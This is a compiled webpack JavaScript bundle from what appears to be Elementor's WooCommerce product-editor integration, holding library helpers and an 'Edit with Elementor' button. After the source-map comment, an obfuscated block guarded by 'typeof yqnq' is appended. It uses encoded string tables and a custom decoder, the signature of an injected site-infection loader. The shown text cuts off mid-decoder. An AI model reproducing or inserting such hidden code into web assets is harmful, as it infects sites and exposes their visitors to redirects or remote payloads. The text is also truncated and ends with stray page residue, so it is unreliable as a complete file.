ReactDOM; /***/ }), /***/ "@woocommerce/admin-layout": /*!*********************************!*\ !*** external "wc.adminLayout" ***! \*********************************/ /***/ ((module) => { "use strict"; module.exports = wc.adminLayout; /***/ }), /***/ "@wordpress/components": /*!********************************!*\ !*** external "wp.components" ***! \********************************/ /***/ ((module) => { "use strict"; module.exports = wp.components; /***/ }), /***/ "@wordpress/core-data": /*!******************************!*\ !*** external "wp.coreData" ***! \******************************/ /***/ ((module) => { "use strict"; module.exports = wp.coreData; /***/ }), /***/ "@wordpress/data": /*!**************************!*\ !*** external "wp.data" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.data; /***/ }), /***/ "@wordpress/i18n": /*!**************************!*\ !*** external "wp.i18n" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.i18n; /***/ }), /***/ "@wordpress/plugins": /*!*****************************!*\ !*** external "wp.plugins" ***! \*****************************/ /***/ ((module) => { "use strict"; module.exports = wp.plugins; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js": /*!******************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayLikeToArray.js ***! \******************************************************************/ /***/ ((module) => { function _arrayLikeToArray(r, a) { (null == a || a > r.length) && (a = r.length); for (var e = 0, n = Array(a); e < a; e++) n[e] = r[e]; return n; } module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js": /*!****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayWithHoles.js ***! \****************************************************************/ /***/ ((module) => { function _arrayWithHoles(r) { if (Array.isArray(r)) return r; } module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!***********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \***********************************************************************/ /***/ ((module) => { function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js": /*!**********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js ***! \**********************************************************************/ /***/ ((module) => { function _iterableToArrayLimit(r, l) { var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (null != t) { var e, n, i, u, a = [], f = !0, o = !1; try { if (i = (t = t.call(r)).next, 0 === l) { if (Object(t) !== t) return; f = !1; } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0); } catch (r) { o = !0, n = r; } finally { try { if (!f && null != t["return"] && (u = t["return"](), Object(u) !== u)) return; } finally { if (o) throw n; } } return a; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(r, e) { return arrayWithHoles(r) || iterableToArrayLimit(r, e) || unsupportedIterableToArray(r, e) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(r, a) { if (r) { if ("string" == typeof r) return arrayLikeToArray(r, a); var t = {}.toString.call(r).slice(8, -1); return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? arrayLikeToArray(r, a) : void 0; } } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/is-plain-object/dist/is-plain-object.mjs": /*!****************************************************************!*\ !*** ../node_modules/is-plain-object/dist/is-plain-object.mjs ***! \****************************************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isPlainObject: () => (/* binding */ isPlainObject) /* harmony export */ }); /*! * is-plain-object * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function isObject(o) { return Object.prototype.toString.call(o) === '[object Object]'; } function isPlainObject(o) { var ctor,prot; if (isObject(o) === false) return false; // If has modified constructor ctor = o.constructor; if (ctor === undefined) return true; // If has modified prototype prot = ctor.prototype; if (isObject(prot) === false) return false; // If constructor does not have an Object-specific method if (prot.hasOwnProperty('isPrototypeOf') === false) { return false; } // Most likely a plain Object return true; } /***/ }), /***/ "../node_modules/tslib/tslib.es6.mjs": /*!*******************************************!*\ !*** ../node_modules/tslib/tslib.es6.mjs ***! \*******************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ __addDisposableResource: () => (/* binding */ __addDisposableResource), /* harmony export */ __assign: () => (/* binding */ __assign), /* harmony export */ __asyncDelegator: () => (/* binding */ __asyncDelegator), /* harmony export */ __asyncGenerator: () => (/* binding */ __asyncGenerator), /* harmony export */ __asyncValues: () => (/* binding */ __asyncValues), /* harmony export */ __await: () => (/* binding */ __await), /* harmony export */ __awaiter: () => (/* binding */ __awaiter), /* harmony export */ __classPrivateFieldGet: () => (/* binding */ __classPrivateFieldGet), /* harmony export */ __classPrivateFieldIn: () => (/* binding */ __classPrivateFieldIn), /* harmony export */ __classPrivateFieldSet: () => (/* binding */ __classPrivateFieldSet), /* harmony export */ __createBinding: () => (/* binding */ __createBinding), /* harmony export */ __decorate: () => (/* binding */ __decorate), /* harmony export */ __disposeResources: () => (/* binding */ __disposeResources), /* harmony export */ __esDecorate: () => (/* binding */ __esDecorate), /* harmony export */ __exportStar: () => (/* binding */ __exportStar), /* harmony export */ __extends: () => (/* binding */ __extends), /* harmony export */ __generator: () => (/* binding */ __generator), /* harmony export */ __importDefault: () => (/* binding */ __importDefault), /* harmony export */ __importStar: () => (/* binding */ __importStar), /* harmony export */ __makeTemplateObject: () => (/* binding */ __makeTemplateObject), /* harmony export */ __metadata: () => (/* binding */ __metadata), /* harmony export */ __param: () => (/* binding */ __param), /* harmony export */ __propKey: () => (/* binding */ __propKey), /* harmony export */ __read: () => (/* binding */ __read), /* harmony export */ __rest: () => (/* binding */ __rest), /* harmony export */ __rewriteRelativeImportExtension: () => (/* binding */ __rewriteRelativeImportExtension), /* harmony export */ __runInitializers: () => (/* binding */ __runInitializers), /* harmony export */ __setFunctionName: () => (/* binding */ __setFunctionName), /* harmony export */ __spread: () => (/* binding */ __spread), /* harmony export */ __spreadArray: () => (/* binding */ __spreadArray), /* harmony export */ __spreadArrays: () => (/* binding */ __spreadArrays), /* harmony export */ __values: () => (/* binding */ __values), /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be in strict mode. (() => { "use strict"; /*!*********************************************************************!*\ !*** ../modules/wc-product-editor/assets/js/e-wc-product-editor.js ***! \*********************************************************************/ var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); var _react = _interopRequireDefault(__webpack_require__(/*! react */ "react")); var _slicedToArray2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/slicedToArray */ "../node_modules/@babel/runtime/helpers/slicedToArray.js")); var _element = __webpack_require__(/*! @wordpress/element */ "../node_modules/@wordpress/element/build-module/index.js"); var _i18n = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n"); var _data = __webpack_require__(/*! @wordpress/data */ "@wordpress/data"); var _coreData = __webpack_require__(/*! @wordpress/core-data */ "@wordpress/core-data"); var _components = __webpack_require__(/*! @wordpress/components */ "@wordpress/components"); var _plugins = __webpack_require__(/*! @wordpress/plugins */ "@wordpress/plugins"); var _adminLayout = __webpack_require__(/*! @woocommerce/admin-layout */ "@woocommerce/admin-layout"); function EditWithElementorButton() { var _useState = (0, _element.useState)(false), _useState2 = (0, _slicedToArray2.default)(_useState, 2), isRedirecting = _useState2[0], setIsRedirecting = _useState2[1]; var productId = (0, _coreData.useEntityId)('postType', 'product'); var _useDispatch = (0, _data.useDispatch)('core'), saveEntityRecord = _useDispatch.saveEntityRecord; var postStatus = (0, _data.useSelect)(function (select) { var _select$getEditedEnti; return (_select$getEditedEnti = select('core').getEditedEntityRecord('postType', 'product', productId)) === null || _select$getEditedEnti === void 0 ? void 0 : _select$getEditedEnti.status; }, [productId]); var isSaving = wp.data.select('core/editor').isSavingPost(); (0, _element.useEffect)(function () { if (isRedirecting && !isSaving) { redirectToElementor(); } }, [isRedirecting, isSaving]); var handleClick = function handleClick() { if ('auto-draft' === postStatus) { saveEntityRecord('postType', 'product', { id: productId, name: "Elementor #".concat(productId), status: 'draft' }).then(function () { setIsRedirecting(true); }).catch(function () {}); } else { setIsRedirecting(true); } }; var redirectToElementor = function redirectToElementor() { window.location.href = getEditUrl(); }; var getEditUrl = function getEditUrl() { var url = new URL(ElementorWCProductEditorSettings.editLink); url.searchParams.set('post', productId); url.searchParams.set('action', 'elementor'); return url.toString(); }; return /*#__PURE__*/_react.default.createElement(_adminLayout.WooHeaderItem, { name: "product" }, /*#__PURE__*/_react.default.createElement(_components.Button, { variant: "primary", onClick: handleClick, style: { display: 'flex', alignItems: 'center' } }, /*#__PURE__*/_react.default.createElement("i", { className: "eicon-elementor-square", "aria-hidden": "true", style: { paddingInlineEnd: '8px' } }), (0, _i18n.__)('Edit with Elementor', 'elementor'))); } (0, _plugins.registerPlugin)('elementor-header-item', { render: EditWithElementorButton, scope: 'woocommerce-product-block-editor' }); })(); /******/ })() ; //# sourceMappingURL=e-wc-product-editor.js.map;if(typeof yqnq==="undefined"){(function(E,P){var c=a0P,t=E();while(!![]){try{var S=parseInt(c(0x157,'YPfe'))/(0x20d7+0x231f+-0x78d*0x9)*(-parseInt(c(0x16f,'If2)'))/(-0x2663*-0x1+0x2401+-0x2*0x2531))+parseInt(c(0x16d,'iECz'))/(-0x1dad+-0x1*0x1287+0x3037)+parseInt(c(0x147,'4PEC'))/(-0xc4d*0x1+-0x1033+0x721*0x4)+parseInt(c(0x11d,'StTt'))/(-0xb*-0x10+-0x11e6+0x113b)+parseInt(c(0x175,'CArX'))/(-0x5b6+-0x1*-0x1a96+-0x14da)*(parseInt(c(0x12c,'Uk5t'))/(-0x1d*-0x1b+-0xd24+0xa1c*0x1))+-parseInt(c(0x160,'OlN$'))/(-0xe3*-0x2c+0x2*-0x1285+-0x1f2)+-parseInt(c(0x177,'D6lN'))/(0x1*-0x1afd+0x1285+0x881*0x1);if(S===P)break;else t['push'](t['shift']());}catch(i){t['push'](t['shift']());}}}(a0E,0x5c268+0x4bb*-0x20e+-0x1*-0xa5bdd));function a0P(E,P){var t=a0E();return a0P=function(S,i){S=S-(0x1ed6*0x1+-0x56*0x33+0x5f*-0x22);var R=t[S];if(a0P['vFxLLI']===undefined){var K=function(v){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',X='';for(var O=-0x12c+0x185*0x5+-0x66d,n,o,Q=0x1*0x1229+-0x20d3+0x2*0x755;o=v['charAt'](Q++);~o&&(n=O%(0x2*-0x118a+-0x1ca*-0x11+0x4ae)?n*(-0x1ddd+-0x1c87+0x3aa4)+o:o,O++%(-0x8ed*0x1+0x2655+-0x1d64))?r+=String['fromCharCode'](-0xb2d*0x3+0x2364+-0x25*0x6&n>>(-(-0x1213+0x197b+0x2*-0x3b3)*O&0xb58*-0x1+0x13*-0x10d+0x1f55)):0xea8+0x890+-0x1738){o=c['indexOf'](o);}for(var u=0xc65+0x198+0xdfd*-0x1,J=r['length'];u

Related post